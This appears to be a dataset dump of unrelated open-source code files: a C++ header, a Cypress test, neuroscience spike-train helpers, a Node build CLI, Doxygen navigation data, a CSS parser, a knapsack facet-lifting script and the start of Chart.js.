text
stringlengths
3
1.05M
// // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of NVIDIA CORPORATION nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY // OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Copyright (c) 2018-2019 NVIDIA Corporation. All rights reserved. #ifndef SAMPLE_MANAGER_H #define SAMPLE_MANAGER_H #include "Utils.h" #pragma warning(push) #pragma warning(disable : 4350) #include <list> #include <string> class ISampleController : public IVisualController { public: virtual void onInitialize() {} virtual void onSampleStart() {} virtual void onSampleStop() {} virtual void onTerminate() {} }; class SampleManager { public: SampleManager(LPWSTR sampleName); void addControllerToFront(ISampleController* controller); int run(); private: DeviceManager* mDeviceManager; std::list<ISampleController*> mControllers; LPWSTR mSampleName; }; #endif
// / <reference types="Cypress" /> describe('Minimal auto update', () => { /** * Test requirements: * - db `Cypress.env('dbName')` must exist * - install.lock must exist * - update-service-mock.js must be running */ it('@update: Check product', () => { // Request we want to wait for later cy.server(); cy.route({ url: '/api/v*/search/product', method: 'POST' }).as('dataRequest'); cy.visit('/admin#/sw/product/index'); cy.login(); cy.get('.sw-loader').should('not.exist'); cy.contains('.sw-data-grid__cell--name', 'Travel Pack | Proof Black').should('be.visible'); cy.contains('.sw-data-grid__cell--name', 'Travel Pack | Proof Black').click(); cy.get('.smart-bar__header').contains('Travel Pack | Proof Black'); cy.wait('@dataRequest').then((xhr) => { expect(xhr).to.have.property('status', 200); }); }); });
# ------------------------------------------------------------------------------ # Copyright 2020 Forschungszentrum Jülich GmbH # "Licensed to the Apache Software Foundation (ASF) under one or more contributor # license agreements; and to You under the Apache License, Version 2.0. " # # Forschungszentrum Jülich # Institute: Institute for Advanced Simulation (IAS) # Section: Jülich Supercomputing Centre (JSC) # Division: High Performance Computing in Neuroscience # Laboratory: Simulation Laboratory Neuroscience # Team: Multi-scale Simulation and Design # # ------------------------------------------------------------------------------ # TODO: # copied: rate_spike.py from NEST-TVB usecase. # implement properly as elephant science part # use both methods as Elephant plugin example! from elephant.spike_train_generation import homogeneous_poisson_process, inhomogeneous_poisson_process from elephant.statistics import mean_firing_rate import numpy as np from neo import AnalogSignal from quantities import Hz def rates_to_spikes( rates, t_start, t_stop, variation=False): """ Generate spike train with homogenous or inhomogenous Poisson generator :param rates: an array or a float of quantities :param t_start: time to start spike train :param t_stop: time where the spike train stop :param variation: Boolean for variation of rate :return: one or multiple spike train """ if variation: # the case where the variation of the rate is include # We generate the inhomogenous poisson if len(rates.shape) == 1: # the case where we have only one rate signal = AnalogSignal(rates, t_start=t_start, sampling_period=(t_stop-t_start)/rates.shape[-1]) result = [inhomogeneous_poisson_process(signal,as_array=True)] return np.array(result) else : # the case where we have multiple rates result = [] for rate in rates: signal = AnalogSignal(rate, t_start=t_start, sampling_period=(t_stop - t_start) / rates.shape[-1]) result.append(inhomogeneous_poisson_process(signal,as_array=True)) return np.array(result) else: # the case we have only the rate # We generate the homogenous poisson if len(rates.shape) ==0: # the case where we have only one rate result = np.array([homogeneous_poisson_process(rate=rates, t_start=t_start, t_stop=t_stop, as_array=True)]) else: # the case where we have multiple rates result = [] for rate in rates: result.append(homogeneous_poisson_process(rate=rate, t_start=t_start, t_stop=t_stop, as_array=True)) return np.array(result) def spikes_to_rate( spikes,t_start,t_stop, windows=0.0): """ #WARNING function unused but keep it for idea Compute the rate of one spike train or multiple of spike trains #TODO : need to have add the overlapping of windows :param spikes: one spike train or multiple spike train :param t_start: time to start to compute rate :param t_stop: time to stop to compute rate :param windows: the window for compute rate # :param overlaps: FUTURE overlap of window :return: rates or variation of rates """ if windows == 0.0: #case without variation of rate if len(spikes[0].shape) ==0: # with only one rate result = [mean_firing_rate(spiketrain=spikes,t_start=t_start,t_stop=t_stop).rescale(Hz)] else: # with multiple rate result = [] for spike in spikes: result.append(mean_firing_rate(spiketrain=spike,t_start=t_start,t_stop=t_stop).rescale(Hz)) return np.array(result) else: # case with variation of rate rate = [] for time in np.arange(t_start,t_stop,windows): t_start_window = time*t_start.units t_stop_window = t_start_window+windows if len(spikes[0].shape) == 0: # for only one spike train result = [mean_firing_rate(spiketrain=spikes, t_start=t_start_window, t_stop=t_stop_window).rescale(Hz)] else: # for multiple spike train result = [] for spike in spikes: result.append(mean_firing_rate(spiketrain=spike, t_start=t_start_window, t_stop=t_stop_window).rescale(Hz)) rate.append(result) return np.array(rate) if __name__=='__main__': from quantities import ms,Hz res = rates_to_spikes([7942.65518188, 7168.64013672, 6612.2756958, 4990.57312012, 5077.53219604, 7417.4659729, 7284.71984863, 6751.57318115, 5528.10173035, 5102.45170593, 6506.46362305, 6908.81881714, 4290.93399048, 5575.27732849, 7972.46932983, 9518.87893677, 7561.74240112, 7813.84735107, 8878.12805176, 6734.36965942, 7277.06069946, 7547.31292725, 9538.67263794, 6232.00950623, 8005.1651001, 5534.51652527, 7441.41998291, 7747.13668823, 8784.91744995, 9481.22253418, 7909.23614502, 6691.65420532, 7793.50280762, 8774.40795898, 7772.98965454]*Hz, 7.1*ms ,10.5*ms,variation=True) print(res)
#!/usr/bin/env node 'use strict'; // Update notifier. const updateNotifier = require( 'update-notifier' ); const pkg = require( '../package.json' ); updateNotifier( { pkg } ).notify(); const spawn = require( 'cross-spawn' ); const args = process.argv.slice( 2 ); const scriptIndex = args.findIndex( x => x === 'browserslist' || x === 'start' || x === 'dist' || x === 'lint' || x === 'fix-pnp' ); const script = scriptIndex === -1 ? args[ 0 ] : args[ scriptIndex ]; const nodeArgs = scriptIndex > 0 ? args.slice( 0, scriptIndex ) : []; switch ( script ) { case 'browserslist': case 'dist': case 'fix-pnp': case 'lint': case 'start': { const result = spawn.sync( 'node', nodeArgs .concat( require.resolve( '../scripts/' + script ) ) .concat( args.slice( scriptIndex + 1 ) ), { stdio: 'inherit' } ); if ( result.signal ) { if ( result.signal === 'SIGKILL' ) { console.log( 'The build failed because the process exited too early. ' + 'This probably means the system ran out of memory or someone called ' + '`kill -9` on the process.' ); } else if ( result.signal === 'SIGTERM' ) { console.log( 'The build failed because the process exited too early. ' + 'Someone might have called `kill` or `killall`, or the system could ' + 'be shutting down.' ); } process.exit( 1 ); } process.exit( result.status ); break; } default: console.log( 'Unknown script "' + script + '".' ); console.log( 'Perhaps you need to update @lipemat/postcss-boilerplate?' ); break; }
var PlantHeatExchangerFluidToFluid_8cc = [ [ "CalcFluidHeatExchanger", "PlantHeatExchangerFluidToFluid_8cc.html#a63032960e9263e77f16b689dbacdb743", null ], [ "ComponentClassName", "PlantHeatExchangerFluidToFluid_8cc.html#a16892fa572a00e7b316f05bd791b2709", null ], [ "ControlFluidHeatExchanger", "PlantHeatExchangerFluidToFluid_8cc.html#a3751fedeff3349062dc440fd7d790e73", null ], [ "CoolingDifferentialOnOff", "PlantHeatExchangerFluidToFluid_8cc.html#aca5dbb2381266570cb1ff188dc2022ec", null ], [ "CoolingSetPointModulated", "PlantHeatExchangerFluidToFluid_8cc.html#ad679cac6d1e4133adc2e8c7efc906d3a", null ], [ "CoolingSetPointOnOff", "PlantHeatExchangerFluidToFluid_8cc.html#aa8b658c002573cea5d2cdde88562e838", null ], [ "CoolingSetPointOnOffWithComponentOverride", "PlantHeatExchangerFluidToFluid_8cc.html#a1bb0ca19125f1396d3305d76bc1f04ce", null ], [ "CoolingSupplySideLoop", "PlantHeatExchangerFluidToFluid_8cc.html#adfa58bf1f52c69d2b572d414abecf4b2", null ], [ "CounterFlow", "PlantHeatExchangerFluidToFluid_8cc.html#a20d159b8dc1493e12d9927a54b387459", null ], [ "CrossFlowBothMixed", "PlantHeatExchangerFluidToFluid_8cc.html#a49dc72ecc30280de93ceeeeeb1bfb428", null ], [ "CrossFlowBothUnMixed", "PlantHeatExchangerFluidToFluid_8cc.html#a8af10642691321cfe543a2163f8dfa3a", null ], [ "CrossFlowSupplyLoopMixedDemandLoopUnMixed", "PlantHeatExchangerFluidToFluid_8cc.html#aa661d1589edd0647d9f6ff02652b78c9", null ], [ "CrossFlowSupplyLoopUnMixedDemandLoopMixed", "PlantHeatExchangerFluidToFluid_8cc.html#a15b04520c94b741760fa34611d35fedf", null ], [ "DryBulbTemperature", "PlantHeatExchangerFluidToFluid_8cc.html#a8cfdb62311fb1efaf80683c65577cec5", null ], [ "DualDeadBandSetPointModulated", "PlantHeatExchangerFluidToFluid_8cc.html#acf2d63512579c8ad9c01f2389af862ff", null ], [ "DualDeadBandSetPointOnOff", "PlantHeatExchangerFluidToFluid_8cc.html#abcc925f58084919dd1025ab044986ea2", null ], [ "FindHXDemandSideLoopFlow", "PlantHeatExchangerFluidToFluid_8cc.html#ae4e83d475bbd315ff6bd1b3e76ce0164", null ], [ "GetFluidHeatExchangerInput", "PlantHeatExchangerFluidToFluid_8cc.html#a32c4a96a0b79c3d50ed8416170ed13ec", null ], [ "GetInput", "PlantHeatExchangerFluidToFluid_8cc.html#ac77ae341e2e20f4634889078032ecbd3", null ], [ "HeatingSetPointModulated", "PlantHeatExchangerFluidToFluid_8cc.html#a29375a5e0fcea1098d179bf110fe9e4c", null ], [ "HeatingSetPointOnOff", "PlantHeatExchangerFluidToFluid_8cc.html#a8fb61b5de57e128558d228b01a8b9a30", null ], [ "HeatingSupplySideLoop", "PlantHeatExchangerFluidToFluid_8cc.html#a9968c5ac7fa7c1aa0670a1e59dabda34", null ], [ "HXDemandSideLoopFlowResidual", "PlantHeatExchangerFluidToFluid_8cc.html#a1790fdda95c8c14ff6e9515c78607f77", null ], [ "Ideal", "PlantHeatExchangerFluidToFluid_8cc.html#ae1037417a62592201edb67b075c25d76", null ], [ "InitFluidHeatExchanger", "PlantHeatExchangerFluidToFluid_8cc.html#a01d3a3ff923074617c7e59d49d2a8bd3", null ], [ "LoopTemperature", "PlantHeatExchangerFluidToFluid_8cc.html#ab2b4fa46b8ba8e3ee2fa59f0e9909ea8", null ], [ "NumberOfPlantFluidHXs", "PlantHeatExchangerFluidToFluid_8cc.html#a075334a0675431b999e68247737c5853", null ], [ "OperationSchemeModulated", "PlantHeatExchangerFluidToFluid_8cc.html#a9df65b99683c3e8613219ca2f8046034", null ], [ "OperationSchemeOnOff", "PlantHeatExchangerFluidToFluid_8cc.html#a9c188eae00584c83de1c2a90a45f5a60", null ], [ "ParallelFlow", "PlantHeatExchangerFluidToFluid_8cc.html#ac802f9a4d67d4d923e0365fc77d7d92c", null ], [ "ReportFluidHeatExchanger", "PlantHeatExchangerFluidToFluid_8cc.html#ad3ea6749356df80d0b10ed4638e54a2a", null ], [ "SimFluidHeatExchanger", "PlantHeatExchangerFluidToFluid_8cc.html#acf2f55b05201e62dbfe7122586065834", null ], [ "SizeFluidHeatExchanger", "PlantHeatExchangerFluidToFluid_8cc.html#af7f758b972356a9043723d6b30064470", null ], [ "TrackComponentOnOff", "PlantHeatExchangerFluidToFluid_8cc.html#ad817a2f55341ab47187f70819050062a", null ], [ "UncontrolledOn", "PlantHeatExchangerFluidToFluid_8cc.html#aa03b6e19d2840aabbd1797626c8a06fb", null ], [ "UpdateFluidHeatExchanger", "PlantHeatExchangerFluidToFluid_8cc.html#a8136ab496c77b8dd26cd975edb0543f1", null ], [ "WetBulbTemperature", "PlantHeatExchangerFluidToFluid_8cc.html#a82218f080beb71bc3d7eae82727e0776", null ], [ "CheckFluidHXs", "PlantHeatExchangerFluidToFluid_8cc.html#a838ce8ee28c78e8cb10ef087d7d58f67", null ], [ "FluidHX", "PlantHeatExchangerFluidToFluid_8cc.html#ad3756c5ca302ea02911c53f8c0b6dcd3", null ] ];
import {COMMENT, RULESET, DECLARATION} from './Enum.js' import {abs, trim, from, sizeof, strlen, substr, append, replace} from './Utility.js' import {node, char, prev, next, peek, caret, alloc, dealloc, delimit, whitespace, identifier, commenter} from './Tokenizer.js' /** * @param {string} value * @return {object[]} */ export function compile (value) { return dealloc(parse('', null, null, null, [''], value = alloc(value), 0, [0], value)) } /** * @param {string} value * @param {object} root * @param {object?} parent * @param {string[]} rule * @param {string[]} rules * @param {string[]} rulesets * @param {number[]} pseudo * @param {number[]} points * @param {string[]} declarations * @return {object} */ export function parse (value, root, parent, rule, rules, rulesets, pseudo, points, declarations) { var index = 0 var offset = 0 var length = pseudo var atrule = 0 var property = 0 var previous = 0 var variable = 1 var scanning = 1 var ampersand = 1 var character = 0 var type = '' var props = rules var children = rulesets var reference = rule var characters = type while (scanning) switch (previous = character, character = next()) { // " ' [ ( case 34: case 39: case 91: case 40: characters += delimit(character) break // \t \n \r \s case 9: case 10: case 13: case 32: characters += whitespace(previous) break // / case 47: switch (peek()) { case 42: case 47: append(comment(commenter(next(), caret()), root, parent), declarations) break default: characters += '/' } break // { case 123 * variable: points[index++] = strlen(characters) * ampersand // } ; \0 case 125 * variable: case 59: case 0: switch (character) { // \0 } case 0: case 125: scanning = 0 // ; case 59 + offset: if (property > 0 && (strlen(characters) - length)) append(property > 32 ? declaration(characters + ';', rule, parent, length - 1) : declaration(replace(characters, ' ', '') + ';', rule, parent, length - 2), declarations) break // @ ; case 59: characters += ';' // { rule/at-rule default: append(reference = ruleset(characters, root, parent, index, offset, rules, points, type, props = [], children = [], length), rulesets) if (character === 123) if (offset === 0) parse(characters, root, reference, reference, props, rulesets, length, points, children) else switch (atrule) { // d m s case 100: case 109: case 115: parse(value, reference, reference, rule && append(ruleset(value, reference, reference, 0, 0, rules, points, type, rules, props = [], length), children), rules, children, length, points, rule ? props : children) break default: parse(characters, reference, reference, reference, [''], children, length, points, children) } } index = offset = property = 0, variable = ampersand = 1, type = characters = '', length = pseudo break // : case 58: length = 1 + strlen(characters), property = previous default: if (variable < 1) { if (character == 123) { --variable } else if (character == 125 && variable++ == 0 && prev() == 125) { continue } } switch (characters += from(character), character * variable) { // & case 38: ampersand = offset > 0 ? 1 : (characters += '\f', -1) break // , case 44: points[index++] = (strlen(characters) - 1) * ampersand, ampersand = 1 break // @ case 64: // - if (peek() === 45) characters += delimit(next()) atrule = peek(), offset = strlen(type = characters += identifier(caret())), character++ break // - case 45: if (previous === 45 && strlen(characters) == 2) variable = 0 } } return rulesets } /** * @param {string} value * @param {object} root * @param {object?} parent * @param {number} index * @param {number} offset * @param {string[]} rules * @param {number[]} points * @param {string} type * @param {string[]} props * @param {string[]} children * @param {number} length * @return {object} */ export function ruleset (value, root, parent, index, offset, rules, points, type, props, children, length) { var post = offset - 1 var rule = offset === 0 ? rules : [''] var size = sizeof(rule) for (var i = 0, j = 0, k = 0; i < index; ++i) for (var x = 0, y = substr(value, post + 1, post = abs(j = points[i])), z = value; x < size; ++x) if (z = trim(j > 0 ? rule[x] + ' ' + y : replace(y, /&\f/g, rule[x]))) props[k++] = z return node(value, root, parent, offset === 0 ? RULESET : type, props, children, length) } /** * @param {number} value * @param {object} root * @param {object?} parent * @return {object} */ export function comment (value, root, parent) { return node(value, root, parent, COMMENT, from(char()), substr(value, 2, -2), 0) } /** * @param {string} value * @param {object} root * @param {object?} parent * @param {number} length * @return {object} */ export function declaration (value, root, parent, length) { return node(value, root, parent, DECLARATION, substr(value, 0, length), substr(value, length + 1, -1), length) }
import time import itertools import argparse import numpy import pulp def ReadInputFile(filename): """Reads input file containing problem data. The first line of the input file contains the number of variables. All of these are assumed to be binary (0-1) variables. The second line contains the coefficients of each variable in the single knapsack constraint, delimited by commas. The third line contains the right hand side value for the knapsack constraint. The fourth line contains the value of each variable, where the total value is to be maximised. Inputs: filename: A string, the filename of the input file to read. Returns: A list, the coefficients for the knapsack constraint. A number, the value for the right hand side in the knapsack constraint. A list, the value of each variable. """ f = open(filename, 'r') # Read number of coefficients n = int(f.readline().rstrip('\n')) # Read in n coefficients A = [int(a) for a in f.readline().rstrip('\n').split(',')[0:n]] # Read RHS b = int(f.readline().rstrip('\n')) # Read in n entries for the value list c = [int(a) for a in f.readline().rstrip('\n').split(',')[0:n]] f.close() return A, b, c def ConstructOrderedSet(A): """Sorts coefficient list into descending order. Inputs: A: A list, containing the coefficients to sort. Returns: An index set for the ordered coefficients. A list containing the ordered coefficients. A list containing a mapping from the sorted coefficients back to the original order. """ sort_map = sorted(range(len(A)), key=A.__getitem__, reverse=True) A.sort(reverse=True) N = set(range(1, len(A) + 1)) return N, A, sort_map def SumCoeffsOverSet(summing_set, A): """Returns the sum of coefficients corresponding to the summing set.""" return sum(A[i - 1] for i in summing_set) def SumCoeffsOverIndexList(summing_list, A): """Returns the sum of the coefficient and summing lists mulitplied element-wise. """ return sum(A[i] * summing_list[i] for i in range(len(summing_list))) def ConvertIndexListToSet(index_list): """Creates a set containing the indices of all '1' entries in the index list """ return set(i + 1 for i, j in enumerate(index_list) if j == 1) def GenerateMinimalCovers(N, A, b): """Finds all minimal covers of a knapsack constraint using a depth-first search with backtracking. Inputs: N: A set, indexing the variables of the constraint. A: A list, the corresponding coefficients of the constraint. b: A number, the right hand side of the constraint. Returns: A list of sets, each corresponding to a minimal cover. """ n = len(N) sets = [] # Depth-first search with backtracking s = [0 for _ in range(n)] k = 0 while k < n: # Current value of selected set v = SumCoeffsOverIndexList(s, A) s[k] += 1 # Check if adding next variable creates cover if v + A[k] > b: # Record current set as minimum cover and reset variable subset = ConvertIndexListToSet(s) sets.append(subset) s[k] = 0 # Move to next variable k += 1 # Check for backtracking if k == n: # Terminate if all combinations tested if v == 0: break # Backtrack to last selected variable and remove k -= 1 s[k] = 0 while s[k] != 1: s[k] = 0 k -= 1 s[k] = 0 k += 1 return sets def ReverseSortMap(A, sort_map): """Restores the order of a list to the order in the input file.""" reversed_A = [0 for _ in range(len(A))] for i, j in enumerate(sort_map): reversed_A[j] = A[i] return reversed_A def FindMJ(J, A, b): """Depth-first search with backtrack to find all subsets M of J.""" n = len(J) A_J = [A[j - 1] for j in sorted(J)] sort_J = sorted(J) s = [0 for _ in range(n)] k = 0 sets = [] while k < n: # Current value of selected set v = SumCoeffsOverIndexList(s, A_J) s[k] += 1 #print s, v + A_J[k] # Check if adding next variable creates cover if v + A_J[k] <= b: # Record current set as feasible M and reset current variable subset = set(sort_J[i] for i in range(n) if s[i]) sets.append(subset) else: s[k] = 0 # Move to next variable k += 1 # Check for backtracking if k == n: # Terminate if all combinations tested if v == 0: break # Backtrack to last selected variable and remove k -= 1 s[k] = 0 while s[k] != 1: s[k] = 0 k -= 1 s[k] = 0 k += 1 return sets def GenerateWConstraint(M, S, NS, A, b): """For a given M and S, solves a knapsack problem to find a constraint defining the polyhedron W.""" prob = pulp.LpProblem("constraint_prob", pulp.LpMaximize) sortedS = sorted(S) y_vars = pulp.LpVariable.dicts('y', sortedS, 0, 1, 'Integer') rhs = b - SumCoeffsOverSet(M, A) prob += pulp.lpSum([y_vars[i] for i in sortedS]), "Objective" prob += pulp.lpSum(y_vars[i] * A[i - 1] for i in sortedS) <= rhs, "Con" prob.solve() z_M = pulp.value(prob.objective) Y_M = len(S) - 1 - z_M con = [1 if j in M else 0 for j in NS] return con, Y_M def SimultaneousLiftingPulp(N, S, A, b): """For a given minimal cover generates all lifted constraint facets.""" NS = N - S sorted_NS = sorted(NS) MJ = FindMJ(NS, A, b) # Generate constraints defining the polyhedron W con_list = [] rhs_list = [] for M in MJ: con, rhs = GenerateWConstraint(M, S, NS, A, b) con_list.append(con) rhs_list.append(rhs) # Prepare constraint set of W for reduction A_M = numpy.array(con_list) r = numpy.linalg.matrix_rank(A_M) if r == 0: return [] b_M = numpy.array(rhs_list) zero_x = set() # Filter out variables forced to zero # For any constraint with a RHS of zero, any variables with a non-zero # coefficient must take on the value zero. These columns can then be # removed from the constraint set changed = True while changed: changed = False cols = set(range(len(A_M[0]))) for i, b_i in enumerate(b_M): if b_i == 0: for j, A_Mi in enumerate(A_M[i, :]): if A_Mi != 0: changed = True cols.discard(j) zero_x.add(sorted_NS[j]) cols = tuple(sorted(cols)) if cols: A_M = A_M[:, cols] else: return [] # Filter duplicate rows # Any two rows with the same constraint coefficients can be replaced with # a single constraint instead. The RHS takes the smaller of the two # original RHS values. for i in reversed(range(len(b_M))): remove = False con1 = A_M[i, :] for j in reversed(range(len(b_M))): if j == i: continue con2 = A_M[j, :] if numpy.array_equal(con1, con2) and b_M[i] >= b_M[j]: remove = True break if remove: A_M = numpy.delete(A_M, i, 0) b_M = numpy.delete(b_M, i, 0) # Find extreme points of W by solving the constraint system for all # possible basis combinations x_solns = [] if A_M.any(): r = numpy.linalg.matrix_rank(A_M) if r < len(A_M[0]): # No extreme points return [] for comb in itertools.combinations(range(len(b_M)), r): A_Mc = numpy.array(A_M[comb, :]) if numpy.linalg.matrix_rank(A_Mc) == r: b_Mc = numpy.array([rhs_list[i] for i in comb]) x_c = numpy.linalg.solve(A_Mc, b_Mc) b_c = A_M.dot(numpy.transpose(x_c)) if not sum(numpy.greater(b_c, b_M)): x_solns.append(list(x_c)) # Remove duplicate extreme points x_solns = sorted(x_solns) x_solns = list(k for k, _ in itertools.groupby(x_solns)) # Generate facets from extreme points constraints = [] rhs = len(S) - 1.0 for x in x_solns: a_x = [0 for _ in range(len(A))] for i, y in enumerate(x): a_x[sorted_NS[i] - 1] = y for y in S: a_x[y - 1] = 1.0 for y in zero_x: a_x[y - 1] = 0.0 constraints.append([a_x, rhs]) return constraints def WriteOutputFile(results_file, A, b, constraints, sort_map): """Write results file, containing all new cuts, ordered as in the input file. """ f = open(results_file, 'w') f.write('ORIGINAL CONSTRAINT\n') f.write('\n') f.write('%d\n' % len(A)) A_ordered = ReverseSortMap(A, sort_map) f.write('%s\n' % ','.join(str(a) for a in A_ordered)) f.write('%d\n' % b) f.write('\n') f.write('--------------------\n') f.write('\n') f.write('NEW CONSTRAINTS\n') f.write('\n') f.write('--------------------\n') f.write('\n') for coefficients, rhs in constraints: coefficients = ReverseSortMap(coefficients, sort_map) f.write('%s\n' % ','.join(str(a) for a in coefficients)) f.write('%s\n' % str(rhs)) f.write('\n') f.close() def WriteAmplDataFile(ampl_file, A, b, c, constraints, sort_map): """Write data file for use in AMPL model with new constraints.""" f = open(ampl_file, 'w') f.write('set VARIABLES := %s;\n' % ' '.join(str(i + 1) for i in range(len(A)))) f.write('set CONSTRAINTS := %s;\n' % ' '.join(str(i + 1) for i in range(len(constraints) + 1))) f.write('\n') f.write('param c :=\n') for i, j in enumerate(c): f.write('%2d %2d\n' % (i + 1, j)) f.write(' ;\n') f.write('\n') f.write('param b :=\n') f.write('%2d %2d\n' % (1, b)) for i, j in enumerate(constraints): f.write('%2d %2d\n' % (i + 2, j[1])) f.write(' ;\n') f.write('\n') f.write('param a (tr) :\n') f.write(' %s :=\n' % ' '.join(str(i + 1) for i in range(len(A)))) A_ordered = ReverseSortMap(A, sort_map) f.write('%2d %s\n' % (1, ' '.join(str(a) for a in A_ordered))) for i, constraint in enumerate(constraints): coefficients = ReverseSortMap(constraint[0], sort_map) f.write('%2d %s\n' % (i + 2, ' '.join(str(a) for a in coefficients))) f.write(' ;\n') f.close() def FindAllConstraints(N, A, b, used_sets): """For a given constraint and RHS, find all facets. Used sets is a set containing frozensets for each minimal cover that has already been processed. """ sets = GenerateMinimalCovers(N, A, b) # Loop through all unused minimal covers to find new constraints constraints = [] for S in sets: if frozenset(S) not in used_sets: result = SimultaneousLiftingPulp(N, S, A, b) if result: constraints += result used_sets.add(frozenset(S)) return constraints, used_sets def ComplementConstraint(A, b, C): """Complements a constraint and RHS for a complementing set C.""" A_C = A[:] b_C = b for c in C: A_C[c - 1] *= -1 b_C -= A[c - 1] return A_C, b_C def UncomplementConstraint(A_C, b_C, C): """Uncomplements a constraint found for a complementing set C.""" A = A_C[:] b = b_C for c in C: A[c - 1] *= -1 b -= A_C[c - 1] return A, b def main(imput_file, results_file, ampl_file): """Main solution routine. Finds all facets for inpu constraint.""" t_ = time.clock() A, b, c = ReadInputFile(input_file) N, A, sort_map = ConstructOrderedSet(A) constraints = [] used_sets = set() # Loop through all possible complementing sets for r in range(len(N) + 1): for C in itertools.combinations(N, r): # Complement set, find constraints and uncomplement A_C, b_C = ComplementConstraint(A, b, C) comp_constraints, used_sets = FindAllConstraints(N, A_C, b_C, used_sets) new_constraints = [] for a_C, a0_C in comp_constraints: a, a0 = UncomplementConstraint(a_C, a0_C, C) new_constraints.append([a, a0]) constraints += new_constraints # Sort and filter constraints con_dict = {} for a in constraints: if not con_dict.get(str(a)): con_dict[str(a)] = a constraints = sorted(con_dict.values(), key=lambda a: (a[1], a[0])) # Write outputs WriteOutputFile(results_file, A, b, constraints, sort_map) WriteAmplDataFile(ampl_file, A, b, c, constraints, sort_map) print 'Total time taken', time.clock() - t_ if __name__ == '__main__': # Include and parse command line arguments parser = argparse.ArgumentParser( description=('Reduce knapsack constraint to convex hull of integer ' 'points')) parser.add_argument('-i', '--input_file', default='example_problem.dat', help='the problem data file to process') parser.add_argument('-r', '--results_file', default='results.txt', help='name of results file (default: results.txt)') parser.add_argument('-a', '--ampl_file', default='knapsack.dat', help= 'name of AMPL file to write (default: knapsack.dat)') args = parser.parse_args() input_file = args.input_file results_file = args.results_file ampl_file = args.ampl_file main(input_file, results_file, ampl_file)
/*! * Chart.js * http://chartjs.org/ * Version: 1.0.2 * * Copyright 2015 Nick Downie * Released under the MIT license * https://github.com/nnnick/Chart.js/blob/master/LICENSE.md */ ;(function() { 'use strict' //Declare root variable - window in the browser, global on the server var root = this, previous = root.Chart //Occupy the global variable of Chart, and create a simple base class var Chart = function(context) { var chart = this this.canvas = context.canvas this.ctx = context //Variables global to the chart var computeDimension = function(element, dimension) { if (element['offset' + dimension]) { return element['offset' + dimension] } else { return document.defaultView .getComputedStyle(element) .getPropertyValue(dimension) } } var width = (this.width = computeDimension(context.canvas, 'Width')) var height = (this.height = computeDimension(context.canvas, 'Height')) // Firefox requires this to work correctly context.canvas.width = width context.canvas.height = height var width = (this.width = context.canvas.width) var height = (this.height = context.canvas.height) this.aspectRatio = this.width / this.height //High pixel density displays - multiply the size of the canvas height/width by the device pixel ratio, then scale. helpers.retinaScale(this) return this } //Globally expose the defaults to allow for user updating/changing Chart.defaults = { global: { // Boolean - Whether to animate the chart animation: true, // Number - Number of animation steps animationSteps: 60, // String - Animation easing effect animationEasing: 'easeOutQuart', // Boolean - If we should show the scale at all showScale: true, // Boolean - If we want to override with a hard coded scale scaleOverride: false, // ** Required if scaleOverride is true ** // Number - The number of steps in a hard coded scale scaleSteps: null, // Number - The value jump in the hard coded scale scaleStepWidth: null, // Number - The scale starting value scaleStartValue: null, // String - Colour of the scale line scaleLineColor: 'rgba(0,0,0,.1)', // Number - Pixel width of the scale line scaleLineWidth: 1, // Boolean - Whether to show labels on the scale scaleShowLabels: true, // Interpolated JS string - can access value scaleLabel: '<%=value%>', // Boolean - Whether the scale should stick to integers, and not show any floats even if drawing space is there scaleIntegersOnly: true, // Boolean - Whether the scale should start at zero, or an order of magnitude down from the lowest value scaleBeginAtZero: false, // String - Scale label font declaration for the scale label scaleFontFamily: "'Helvetica Neue', 'Helvetica', 'Arial', sans-serif", // Number - Scale label font size in pixels scaleFontSize: 12, // String - Scale label font weight style scaleFontStyle: 'normal', // String - Scale label font colour scaleFontColor: '#666', // Boolean - whether or not the chart should be responsive and resize when the browser does. responsive: false, // Boolean - whether to maintain the starting aspect ratio or not when responsive, if set to false, will take up entire container maintainAspectRatio: true, // Boolean - Determines whether to draw tooltips on the canvas or not - attaches events to touchmove & mousemove showTooltips: true, // Boolean - Determines whether to draw built-in tooltip or call custom tooltip function customTooltips: false, // Array - Array of string names to attach tooltip events tooltipEvents: ['mousemove', 'touchstart', 'touchmove', 'mouseout'], // String - Tooltip background colour tooltipFillColor: 'rgba(0,0,0,0.8)', // String - Tooltip label font declaration for the scale label tooltipFontFamily: "'Helvetica Neue', 'Helvetica', 'Arial', sans-serif", // Number - Tooltip label font size in pixels tooltipFontSize: 14, // String - Tooltip font weight style tooltipFontStyle: 'normal', // String - Tooltip label font colour tooltipFontColor: '#fff', // String - Tooltip title font declaration for the scale label tooltipTitleFontFamily: "'Helvetica Neue', 'Helvetica', 'Arial', sans-serif", // Number - Tooltip title font size in pixels tooltipTitleFontSize: 14, // String - Tooltip title font weight style tooltipTitleFontStyle: 'bold', // String - Tooltip title font colour tooltipTitleFontColor: '#fff', // Number - pixel width of padding around tooltip text tooltipYPadding: 6, // Number - pixel width of padding around tooltip text tooltipXPadding: 6, // Number - Size of the caret on the tooltip tooltipCaretSize: 8, // Number - Pixel radius of the tooltip border tooltipCornerRadius: 6, // Number - Pixel offset from point x to tooltip edge tooltipXOffset: 10, // String - Template string for single tooltips tooltipTemplate: '<%if (label){%><%=label%>: <%}%><%= value %>', // String - Template string for single tooltips 